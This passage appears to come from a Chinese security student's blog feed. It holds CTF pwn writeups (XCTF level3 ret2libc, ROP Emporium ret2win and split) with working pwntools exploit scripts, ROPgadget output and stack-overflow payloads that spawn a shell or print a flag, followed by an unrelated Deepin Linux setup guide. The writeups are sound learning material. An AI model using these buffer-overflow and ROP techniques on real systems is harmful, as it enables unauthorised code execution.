up?:\n","east")</span><br><span class="line">print p.sendlineafter("go into there(1), or leave(0)?:","1")</span><br><span class="line">print p.sendlineafter("'Give me an address'\n",addr_wanted)</span><br><span class="line">print p.sendlineafter("And, you wish is:\n","%85s%7$n")</span><br><span class="line">print p.recvuntil("Wizard: I will help you! USE YOU SPELL\n")</span><br><span class="line">p.sendline(shellcode)</span><br><span class="line">#print p.sendlineafter("Wizard: I will help you! USE YOU SPELL\n",shellcode)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="level3"><a href="#level3" class="headerlink" title="level3"></a>level3</h2><p>  先来看看保护机制吧:</p><p><img src="../static/images/2019-10-02-14-34-29.png" alt></p><p>  这里没有canary保护,猜测其存在一个比较好利用的栈溢出漏洞。我们分析一下源代码:</p><p><img src="../static/images/2019-10-02-14-35-48.png" alt></p><p>  这里的栈溢出漏洞相当明显,接下来就是思考如何制造rop了。</p><p><img src="../static/images/2019-10-02-14-36-42.png" alt></p><p>  这个函数既没有system函数,也没有是/bin/sh字符串,不过它使用了write函数,我们可以很方便的泄露一些敏感的地址信息。然后使用题目所给的libc文件计算偏移,再输出了write函数地址后,减去libc中write函数的地址来计算基址,再加上/bin/sh的偏移和system函数的偏移,就可以计算出我们需要的两个关键内容了。然后在rop中返回到vul_func再调用system函数。具体利用的exp如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">#encoding:utf-8 '''</span><br><span class="line"> @Author:b0ring</span><br><span class="line"> @MySite:https://blog.b0ring.cf/</span><br><span class="line"> @Date:2019-09-29 09:59:02</span><br><span class="line"> @Version:1.0.0</span><br><span class="line">''' </span><br><span class="line"> </span><br><span class="line">from pwn import * </span><br><span class="line"> </span><br><span class="line">#p = process("./level3") </span><br><span class="line">p = remote("111.198.29.45",31892) </span><br><span class="line">elf = ELF("./level3") </span><br><span class="line">libc = ELF("libc_32.so.6") </span><br><span class="line"> </span><br><span class="line">write_plt = elf.plt["write"] </span><br><span class="line">write_got = elf.got["write"] </span><br><span class="line">write_offset = libc.symbols["write"] </span><br><span class="line">system_offset = libc.symbols["system"] </span><br><span class="line">bin_sh_offset = libc.search("/bin/sh").next() </span><br><span class="line">vul_addr = 0x0804844B </span><br><span class="line"> </span><br><span class="line">payload = 140*'a' </span><br><span class="line">payload += p32(write_plt) + p32(vul_addr) + p32(1) + p32(write_got) + p32(4) </span><br><span class="line"> </span><br><span class="line">start_content = p.recvuntil("Input:\n") </span><br><span class="line">print start_content </span><br><span class="line">p.sendline(payload) </span><br><span class="line"> </span><br><span class="line">output = p.recvuntil("Input:\n") </span><br><span class="line">print output </span><br><span class="line"> </span><br><span class="line">write_addr = u32(output[:4]) </span><br><span class="line">print "[*] write_addr:",hex(write_addr) </span><br><span class="line"> </span><br><span class="line">system_addr = write_addr - write_offset + system_offset </span><br><span class="line">bin_sh_addr = write_addr - write_offset + bin_sh_offset</span><br><span class="line"></span><br><span class="line">print "[*] system_addr:",hex(system_addr)</span><br><span class="line">print "[*] bin_sh_addr:",hex(bin_sh_addr)</span><br><span class="line"></span><br><span class="line">payload = 140*'a'</span><br><span class="line">payload += p32(system_addr) + p32(vul_addr) + p32(bin_sh_addr)</span><br><span class="line"></span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>  其实新手区已经刷完一段时间了,感觉难度还好吧,基本没有很难得题目,但是非常适合新手入门做。还是学会了一些东西,比方说看到某函数就大概反应可能会怎么利用,练习了动态调试之类的。没有白付出时间吧。遗憾是还没做到堆入门的题目,期待接下来的高手区练习(已经做了几道题了,还是没碰到堆的)。</p>]]></content>
<summary type="html">
<p><img src="../static/images/2019-10-02-15-11-09.png" alt></p>
<p>&emsp;&emsp;开个新坑,记录自己刷XCTF攻防世界的pwn题,因为刚入门吧,从新手篇开始练起。这次一边做题一边写笔记和writeup,巩固一下自己学到的东西。</p>
</summary>
<category term="pwn" scheme="http://yoursite.com/tags/pwn/"/>
</entry>
<entry>
<title>从头复习ROP(持续更新中)</title>
<link href="http://yoursite.com/2019/09/21/%E4%BB%8E%E5%A4%B4%E5%A4%8D%E4%B9%A0ROP/"/>
<id>http://yoursite.com/2019/09/21/从头复习ROP/</id>
<published>2019-09-21T15:17:10.000Z</published>
<updated>2019-10-05T07:38:53.368Z</updated>
<content type="html"><![CDATA[<h1 id="从头复习ROP"><a href="#从头复习ROP" class="headerlink" title="从头复习ROP"></a>从头复习ROP</h1><p><img src="../static/images/2019-10-02-15-12-47.png" alt></p><h2 id="一、前言"><a href="#一、前言" class="headerlink" title="一、前言"></a>一、前言</h2><p>  从考研结束就一直很浮躁,虽然在实习期间学习运用了一段时间web技术,但是新东西总是不想看,旧的东西又不断忘记。9月研究生开学,也算是新的开始了,沉下心来沉淀一些东西吧。感觉在学校的期间学习二进制是最合适的,所以潜下心来把二进制捡起来。</p><p>  话不多说了,开始吧。<br><br></p><a id="more"></a><h2 id="二、参考资料"><a href="#二、参考资料" class="headerlink" title="二、参考资料"></a>二、参考资料</h2><p>  大佬们的资料都很浅显易懂,作为基础知识一定要先读一下:</p><blockquote><p>一步一步学ROP之linux_x86篇(原创乌云,所以只能贴个盗版地址了)<br><a href="http://www.vuln.cn/6645" target="_blank" rel="noopener">http://www.vuln.cn/6645</a><br><br>一步一步学ROP之linux_x64篇(原创乌云,所以只能贴个盗版地址了)<a href="http://www.vuln.cn/6644" target="_blank" rel="noopener">http://www.vuln.cn/6644</a><br><br>CTF All In One(3.1.4章):<a href="https://firmianay.gitbooks.io/ctf-all-in-one/doc/3.1.4_rop_x86.html" target="_blank" rel="noopener">https://firmianay.gitbooks.io/ctf-all-in-one/doc/3.1.4_rop_x86.html</a><br><br></p></blockquote><h2 id="三、软件工具"><a href="#三、软件工具" class="headerlink" title="三、软件工具"></a>三、软件工具</h2><p>以下是本文中用到的一些工具,其中的链接都包含如何安装,故在此不详细介绍安装过程。由于想尽可能训练二进制能力,所以本文将尽可能避免使用IDA进行反编译分析。</p><blockquote><p><a href="https://github.com/radare/radare2" target="_blank" rel="noopener">radare2</a>(一个功能十分强大的汇编工具)<br><br><a href="https://github.com/pwndbg/pwndbg" target="_blank" rel="noopener">pwndbg</a>(gdb的一个热门插件,本文并不涉及堆的知识,因此此工具使用较少,但其提供了一个比较清晰的分析界面。)<br><br><a href="https://github.com/Gallopsled/pwntools" target="_blank" rel="noopener">pwntools</a>(做二进制写脚本必备的python库)<br><br>IDA Pro 这个各位在52上下载吧</p></blockquote><br><h2 id="四、一些基础内容"><a href="#四、一些基础内容" class="headerlink" title="四、一些基础内容"></a>四、一些基础内容</h2><p>  基础是很重要的,想了解二进制的内容必定是要了解一些汇编语言以及底层的函数调用机制等等。所幸在本科接触二进制的时候一定程度上了解了汇编语言的一些语法、栈与函数调用的关系、二进制文件的几种保护机制等等。所以本篇主要还是用以题目实践来复习的方式复习之前学到的知识。本人才疏学浅,如果有说错的地方大佬们勿喷。<br><br> </p><h2 id="五、Ropemporium题目实践(后续可能会更新)"><a href="#五、Ropemporium题目实践(后续可能会更新)" class="headerlink" title="五、Ropemporium题目实践(后续可能会更新)"></a>五、Ropemporium题目实践(后续可能会更新)</h2><h3 id="5-1-ret2win"><a href="#5-1-ret2win" class="headerlink" title="5.1 ret2win"></a>5.1 ret2win</h3><h4 id="5-1-1-ret2win32"><a href="#5-1-1-ret2win32" class="headerlink" title="5.1.1 ret2win32"></a>5.1.1 ret2win32</h4><p>   使用radare2打开文件并进行分析(这里之所以不用IDA是想熟悉一下如何使用r2):<br> <img src="../static/images/2019-09-11-16-01-13.png" alt></p><p>   经过分析后,我们可以查看elf文件的保护机制、函数列表、汇编代码、字符串列表、交叉引用以及寻找gadget等等。此时我们可以查看文件调用了哪些函数以及使用了哪些字符串(afl是用来查看所调用的函数情况,而iz可以查看所调用的字符串):<br> <img src="../static/images/2019-09-11-16-10-13.png" alt></p><p>   悉心的话,可以看到其中的关键字符串 /bin/cat flag.txt。我们查看其引用位置,在sym.ret2win中:<br> <img src="../static/images/2019-09-11-16-12-38.png" alt></p><p>   然后查看ret2win的引用情况,发现它没有被调用:<br> <img src="../static/images/2019-09-11-16-14-15.png" alt></p><p>   查看此处的汇编代码:<br> <img src="../static/images/2019-09-11-16-15-29.png" alt></p><p>   可见此处直接cat flag了,因此我们的目标就是通过栈溢出让函数跳转到此处。使用pwntools自带的函数构造污点,然后在gdb中运行程序:<br> <img src="../static/images/2019-09-11-16-25-32.png" alt></p><p>   可见此时EIP的值为’laaa’,我们计算一下栈溢出的偏移:<br> <img src="../static/images/2019-09-11-16-26-54.png" alt></p><p>   使用pwntools写脚本,构造payload:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">p = process('./ret2win32')</span><br><span class="line">print p.recvline()</span><br><span class="line">print p.recvline()</span><br><span class="line">payload = 'a'*44 + p32(0x08048659)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h4 id="5-1-2-ret2win(64位)"><a href="#5-1-2-ret2win(64位)" class="headerlink" title="5.1.2 ret2win(64位)"></a>5.1.2 ret2win(64位)</h4><p>   几乎和32位程序同理。就是偏移会少4位。</p><p>   以下是payload:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">p = process("ret2win")</span><br><span class="line">print p.recvline()</span><br><span class="line">print p.recvline()</span><br><span class="line">payload = 'a'*40 + p64(0x400811)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h3 id="5-2-split"><a href="#5-2-split" class="headerlink" title="5.2 split"></a>5.2 split</h3><h4 id="5-2-1-split32"><a href="#5-2-1-split32" class="headerlink" title="5.2.1 split32"></a>5.2.1 split32</h4><p>   先来查看源码吧:<br><img src="../static/images/2019-09-21-22-21-58.png" alt></p><p>   很明显,上述输入存在栈溢出,我们可以使用gdb来获取偏移:<br><img src="../static/images/2019-09-21-22-29-12.png" alt></p><p>   把污点拿回pwntools进行计算(貌似ropemporium里偏移都是一样的,但是我觉得还是每次都应该来计算一次):<br><img src="../static/images/2019-09-21-22-33-20.png" alt></p><p>   可见此处需要的偏移是44,我们在看看它的字符串和plt表吧:<br><img src="../static/images/2019-09-21-22-36-59.png" alt></p><p>   此处我们可以注意到它的plt表中存在system函数,我们可以直接调用,此外,此处它的字符串中还有cat flag.txt,我们也可以直接利用。使用pwntools脚本如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">p = process('./split32')</span><br><span class="line">system_plt = 0x08048430</span><br><span class="line">cat_flag_str = 0x0804a030</span><br><span class="line"></span><br><span class="line">#此处使用44个'a'来填充栈,在第45位开始返回到system函数</span><br><span class="line">payload = 'a'*44</span><br><span class="line">#system地址后的4个'a'是system调用完成返回后的地址</span><br><span class="line">#由于我们这里并不打算做后续操作,所以任意填写了4个'a'进行代替</span><br><span class="line">#后面的cat_flag_str是我们system所希望使用的参数</span><br><span class="line">payload += p32(system_plt) + 'a'*4 + p32(cat_flag_str)</span><br><span class="line">print p.recvline()</span><br><span class="line">print p.recvline()</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h4 id="5-2-2-split(64位)"><a href="#5-2-2-split(64位)" class="headerlink" title="5.2.2 split(64位)"></a>5.2.2 split(64位)</h4><p>  思路与上面大同小异,也是偏移少了4位,但注意,64位和32位程序有个很重要的区别就是64位程序调用的前6个参数是依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数才会保存到栈上。总之,我们是需要寻找Gadget,来把我们需要的参数pop到需要的寄存器上。</p><p>  如我们本题所遇到的情况,我们只需要一个参数来传递字符串”cat flag.txt”的地址,形如:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pop edi</span><br><span class="line">ret</span><br></pre></td></tr></table></figure><p>  这样的汇编代码,我们跳到此位置就可以把需要调用的参数pop到edi上,然后在下一个地址存我们要返回的函数地址即system。</p><p>  寻找gadget可以用安装pwntools自带的ROPgadget:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">➜ split ROPgadget --binary split --only "pop|ret" </span><br><span class="line">Gadgets information</span><br><span class="line">============================================================</span><br><span class="line">0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x0000000000400880 : pop r14 ; pop r15 ; ret</span><br><span class="line">0x0000000000400882 : pop r15 ; ret</span><br><span class="line">0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x00000000004006b0 : pop rbp ; ret</span><br><span class="line">0x0000000000400883 : pop rdi ; ret</span><br><span class="line">0x0000000000400881 : pop rsi ; pop r15 ; ret</span><br><span class="line">0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x00000000004005b9 : ret</span><br><span class="line"></span><br><span class="line">Unique gadgets found: 11</span><br></pre></td></tr></table></figure><p>  可见我们需要的gadget:pop rdi ; ret在地址0x400883处。</p><p>  我们再查看一下64位程序中system的plt:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">[0x00400650]> afl</span><br><span class="line">0x00400650 1 41 entry0</span><br><span class="line">0x00400610 1 6 sym.imp.__libc_start_main</span><br><span class="line">0x00400680 4 50 -> 41 sym.deregister_tm_clones</span><br><span class="line">0x004006c0 4 58 -> 55 sym.register_tm_clones</span><br><span class="line">0x00400700 3 28 entry.fini0</span><br><span class="line">0x00400720 4 38 -> 35 entry.init0</span><br><span class="line">0x004007b5 1 82 sym.pwnme</span><br><span class="line">0x00400600 1 6 sym.imp.memset</span><br><span class="line">0x004005d0 1 6 sym.imp.puts</span><br><span class="line">0x004005f0 1 6 sym.imp.printf</span><br><span class="line">0x00400620 1 6 sym.imp.fgets</span><br><span class="line">0x00400807 1 17 sym.usefulFunction</span><br><span class="line">0x004005e0 1 6 sym.imp.system</span><br></pre></td></tr></table></figure><p>  可见system的plt位置是0x4005e0。再查看一下cat flag.txt字符串的地址:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[0x00400650]> iz</span><br><span class="line">[Strings]</span><br><span class="line">Num Paddr Vaddr Len Size Section Type String</span><br><span class="line">000 0x000008a8 0x004008a8 21 22 (.rodata) ascii split by ROP Emporium</span><br><span class="line">001 0x000008be 0x004008be 7 8 (.rodata) ascii 64bits\n</span><br><span class="line">002 0x000008c6 0x004008c6 8 9 (.rodata) ascii \nExiting</span><br><span class="line">003 0x000008d0 0x004008d0 43 44 (.rodata) ascii Contriving a reason to ask user for data...</span><br><span class="line">004 0x000008ff 0x004008ff 7 8 (.rodata) ascii /bin/ls</span><br><span class="line">000 0x00001060 0x00601060 17 18 (.data) ascii /bin/cat flag.txt</span><br></pre></td></tr></table></figure><p>  本题的exp如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">p = process('./split')</span><br><span class="line">pop_edi_ret_gadget = 0x00400883</span><br><span class="line">cat_flag_str = 0x00601060</span><br><span class="line">system_plt = 0x004005e0</span><br><span class="line"></span><br><span class="line">#添加偏移</span><br><span class="line">payload = 'a'*40</span><br><span class="line">#跳转到我们之前所找到的gadget</span><br><span class="line">payload += p64(pop_edi_ret_gadget)</span><br><span class="line">#利用gadget将cat flag.txt字符串地址pop到edi寄存器上</span><br><span class="line">#再通过ret跳转到system的plt表处</span><br><span class="line">payload += p64(cat_flag_str) + p64(system_plt)</span><br><span class="line">print p.recvline()</span><br><span class="line">print p.recvline()</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h1 id="5-3-callme"><a href="#5-3-callme" class="headerlink" title="5.3 callme"></a>5.3 callme</h1><h2 id="5-3-1-callme32"><a href="#5-3-1-callme32" class="headerlink" title="5.3.1 callme32"></a>5.3.1 callme32</h2><p>  这道题是要读题的,反正就是要让你按照callme_one,callme_two,callme_three的顺序执行。所以我们必须依次查看pwnme函数、callme_one函数、callme_two函数,callme_three函数。并寻找可利用的溢出点。首先我们可以看到pwnme函数中存在一个十分明显的溢出点:</p><p><img src="../static/images/2019-09-25-23-01-29.png" alt></p><p>  经过测试,它需要填充的字符数量仍然是44个字符。由此我们可以构造出第一个payload。紧接着我们分析callme_one函数(此时需要分析liccallme.so里的程序):</p><p><img src="../static/images/2019-09-25-23-07-17.png" alt></p><p>  在callme_one函数中,存在一组判断,如果a1,a2,a3参数不是分别依次等于1,2,3的话会立即退出。而这个函数并没有其他交互的输入操作,因此我们可以在之前的pwnme函数中输入足够长的内容用来构造callme_one,callme_two,callme_three的值。由于我们进入callme_one是通过ret(相当于pop eip)来实现的,而非call(相当于push eip;mov eip callme_one_addr)。因此我们的栈空间不受影响,可以覆盖掉其返回的eip指针,将其覆盖为callme_two的地址,因此我们可以构造出第二个payload。</p><p>  接下来分析callme_two函数:</p>]]></content>
<summary type="html">
<h1 id="从头复习ROP"><a href="#从头复习ROP" class="headerlink" title="从头复习ROP"></a>从头复习ROP</h1><p><img src="../static/images/2019-10-02-15-12-47.png" alt></p>
<h2 id="一、前言"><a href="#一、前言" class="headerlink" title="一、前言"></a>一、前言</h2><p>&emsp;&emsp;从考研结束就一直很浮躁,虽然在实习期间学习运用了一段时间web技术,但是新东西总是不想看,旧的东西又不断忘记。9月研究生开学,也算是新的开始了,沉下心来沉淀一些东西吧。感觉在学校的期间学习二进制是最合适的,所以潜下心来把二进制捡起来。</p>
<p>&emsp;&emsp;话不多说了,开始吧。<br><br></p>
</summary>
<category term="pwn" scheme="http://yoursite.com/tags/pwn/"/>
</entry>
<entry>
<title>Deepin Linux体验与入门,并使用Deepin玩300英雄[针对非计算机专业人士](持续更新中)</title>
<link href="http://yoursite.com/2019/09/14/Deepin%20Linux%E4%BD%93%E9%AA%8C%E4%B8%8E%E5%85%A5%E9%97%A8%E3%80%90%E9%92%88%E5%AF%B9%E9%9D%9E%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%93%E4%B8%9A%E8%AE%A4%E8%AF%86%E3%80%91/"/>
<id>http://yoursite.com/2019/09/14/Deepin Linux体验与入门【针对非计算机专业认识】/</id>
<published>2019-09-14T13:30:39.000Z</published>
<updated>2019-10-02T07:16:16.964Z</updated>
<content type="html"><![CDATA[<h1 id="Deepin-Linux体验与入门,并使用Deepin玩300英雄-针对非计算机专业人士"><a href="#Deepin-Linux体验与入门,并使用Deepin玩300英雄-针对非计算机专业人士" class="headerlink" title="Deepin Linux体验与入门,并使用Deepin玩300英雄[针对非计算机专业人士]"></a>Deepin Linux体验与入门,并使用Deepin玩300英雄[针对非计算机专业人士]</h1><h2 id="一-、摘要"><a href="#一-、摘要" class="headerlink" title="一 、摘要"></a>一 、摘要</h2><p><img src="../static/images/2019-09-14-22-18-36.png" alt><br>  Deepin Linux是一个非常优秀的国产操作系统。它不仅为许多常用软件如QQ、微信等提供了适配。同时越来越多的平台也开始逐步加入拥抱Linux系统的步伐中。如金山公司为Linux适配了WPS办公软件、搜狗为Linux适配了搜狗输入法等软件、网易为Linux适配了网易云音乐等软件、百度为Linux适配了百度网盘等软件、360今年开始为Linux适配360浏览器及360压缩等软件。<br>  同时深度公司自主研发的深度桌面、深度影院、深度商店(软件管理软件)、深度看图、深度文件查看器、深度截屏等等软件为Linux的日常使用提供了强大活力。<br>  它具有以下一些鲜明的优点:<br>  1. 简约优雅的桌面设计。<br>  2. 轻快便捷的启动速度。<br>  3. 反应迅速的交互体验。<br>  4. 配置完成后很少出现死机、蓝屏等情况。非常适合笔记本的轻量级使用者使用。<br>  如果你并不是一个游戏发烧友、或者你并不需要在笔记本电脑中安装太多为Windows系统定制的专业软件(如PS、CAD等专业软件),那么厌倦了Windows操作系统的话非常值得尝试体验一下这款国产操作系统。<br>  在毕业之后等待研究生开学的暑假里,本人有一些空余时间来尝试一些新的东西。经过一段时间的摸索使用后,分享一下在我使用过程中遇到的一些问题及解决方案,以及针对我的需求所安装的软件(包括一些Windows平台上的游戏、软件等)的经验。本文将不涉及如何安装Deepin等相关内容(网上相关的内容很多,而且也十分简单),但会涉及一些解决兼容性时遇到的一些问题。<br><img src="../static/images/!%5B%5D(../static/images/2019-09-14-22-33-07.png).png" alt></p><center><font color="grey">本人所使用的Deepin桌面</font></center><br><a id="more"></a><h2 id="二-、解决NVIDIA显卡的兼容性问题"><a href="#二-、解决NVIDIA显卡的兼容性问题" class="headerlink" title="二 、解决NVIDIA显卡的兼容性问题"></a>二 、解决NVIDIA显卡的兼容性问题</h2><p>  Linux系统对显卡的支持并不像Windows一样可以满足绝大多数显卡的需求,在切换到Deepin Linux的时候,本人就十分苦恼的遇到了显卡兼容性对我的困扰,如果你也碰到以下问题,那么十分可能就是显卡驱动问题:</p><ul><li><p>无法进入开机后界面,在出现Deepin标志后卡死</p></li><li><p>在进入桌面系统后出现鼠标动作缓慢,逐渐卡死等</p></li></ul><h3 id="2-1-针对出现Deepin标志后卡死问题"><a href="#2-1-针对出现Deepin标志后卡死问题" class="headerlink" title="2.1 针对出现Deepin标志后卡死问题"></a>2.1 针对出现Deepin标志后卡死问题</h3><p>  对应问题解决链接:</p><p>  <a href="https://blog.csdn.net/HuaCode/article/details/83216338" target="_blank" rel="noopener">https://blog.csdn.net/HuaCode/article/details/83216338</a></p><h3 id="2-2-针对进入桌面系统后出现卡死问题"><a href="#2-2-针对进入桌面系统后出现卡死问题" class="headerlink" title="2.2 针对进入桌面系统后出现卡死问题"></a>2.2 针对进入桌面系统后出现卡死问题</h3><p>  如果可以成功进入桌面系统,可以更换系统预装的显卡驱动,彻底解决卡死问题,并且可以使用显卡驱动运行一些如CSGO等大型游戏。解决步骤如下:</p><h4 id="2-2-1-方案1(如果在下载中出现一直下载不完的问题,请切换至方案2)"><a href="#2-2-1-方案1(如果在下载中出现一直下载不完的问题,请切换至方案2)" class="headerlink" title="2.2.1 方案1(如果在下载中出现一直下载不完的问题,请切换至方案2)"></a>2.2.1 方案1(如果在下载中出现一直下载不完的问题,请切换至方案2)</h4><p>  打开深度显卡管理器,将显卡方案由开源驱动方案切换到大黄蜂方案:<br><img src="../static/images/2019-09-14-15-23-22.png" alt></p><p>  随后重启后根据提示操作即可。</p><h4 id="2-2-2-方案2(如果视图界面一直下载不完)"><a href="#2-2-2-方案2(如果视图界面一直下载不完)" class="headerlink" title="2.2.2 方案2(如果视图界面一直下载不完)"></a>2.2.2 方案2(如果视图界面一直下载不完)</h4><p>  注:此解决方案摘自深度百科。</p><p>  使用命令行进行安装显卡驱动,当然了,你需要连接WiFi或网线才可以。使用快捷键ctrl+alt+t可以快速打开命令行。或者使用雷神模式alt+f2。(建议不用雷神模式就不用雷神模式,使用雷神模式会进入纯命令行界面,按alt+f1可以返回桌面):</p><blockquote><p>sudo apt-get install bumblebee-nvidia nvidia-driver nvidia-settings</p></blockquote><p>  安装完毕后,可以利用命令行检查驱动是否安装成功,依次执行如下命令:</p><blockquote><p>sudo apt-get install mesa-utils<br>optirun glxinfo|grep NVIDIA</p></blockquote><p>  如果打开nvidia-settings时提示“You do not appear to be using the NVIDIA X driver”,在terminal中运行如下命令</p><blockquote><p>optirun -b none nvidia-settings -c :8</p></blockquote><p>  如果在终端中看到一个关于你的 Nvidia 的提示,恭喜你,Bumblebee 和 Optimus 已经开始工作了。</p><h2 id="三、-推荐安装的软件应用"><a href="#三、-推荐安装的软件应用" class="headerlink" title="三、 推荐安装的软件应用"></a>三、 推荐安装的软件应用</h2><p>  除了Deepin自带的一些软件应用外,我们也需要一些软件来支持我们的日常工作娱乐需要,这里列出本人在应用商店中所安装的软件,大家可以作为参考。(本人计算机类专业的研究生)<br><img src="../static/images/2019-09-22-14-19-03.png" alt><br><img src="../static/images/2019-09-22-14-19-22.png" alt><br><img src="../static/images/2019-09-22-14-19-46.png" alt><br><img src="../static/images/2019-09-22-14-20-03.png" alt><br><img src="../static/images/2019-09-22-14-20-24.png" alt><br><img src="../static/images/2019-09-22-14-21-05.png" alt><br><img src="../static/images/2019-09-22-14-21-23.png" alt></p><h3 id="3-1-关于为什么装两种百度云(wine版和Linux版)"><a href="#3-1-关于为什么装两种百度云(wine版和Linux版)" class="headerlink" title="3.1 关于为什么装两种百度云(wine版和Linux版)"></a>3.1 关于为什么装两种百度云(wine版和Linux版)</h3><p>  前面提到了,百度云已经可以原生支持Linux操作系统了,但是为什么还要装wine版呢?(这里大家可能会问什么是wine,可以在第四章继续看)因为百度云的Linux版目前还不太成熟,有很多功能如云同步、在线播放视频等还不能支持,有时我有播放保存在百度网盘里的资源时有这种需求,因此还需要装wine版。(目前日期2019年09月22日)</p><h3 id="3-2-关于steam和Lutris"><a href="#3-2-关于steam和Lutris" class="headerlink" title="3.2 关于steam和Lutris"></a>3.2 关于steam和Lutris</h3><p>  steam应该不用做简介了,大家应该都很了解。Lutris是Linux的一个游戏平台,而且通过wine移植了很多Windows操作系统上的游戏到Linux上,给很多Linux的游戏用户带来了极大的便利。你所了解的许多大型3A游戏如战地、守望先锋、巫师3等等(腾讯游戏是不可能了,此外Lutris上的英雄联盟是海外版的)都帮助了普通用户解决安装问题,其所支持的游戏可以从下面链接查看:</p><center>https://lutris.net/games/</center><p>  关于如何安装Lutris以及如何使用Lutris安装游戏(当然了,你大部分情况下需要安装正版,也就是,还是得买游戏),可以参考下面的链接:</p><center>https://bbs.deepin.org/forum.php?mod=viewthread&tid=172008&highlight=lutris</center><p>  此外,steam也具有自己独特的技术Proton来跨平台运行只支持Windows平台的游戏,但它和Lutris一样,是需要安装Wine作为底层辅助的,无论你将steam还是Lutris作为自己的游戏平台(或者像我一样都安装),你都需要需要安装Wine。下个章节将介绍并教大家如何安装Wine,并通过自己实现一个方案使用Wine安装一款游戏来更加深入了解Lutris和steam所给大家所带来的便利。</p><h2 id="四、-安装wine"><a href="#四、-安装wine" class="headerlink" title="四、 安装wine"></a>四、 安装wine</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">__ ___ _ _ ____ </span><br><span class="line">\ \ / (_) | | | |/ 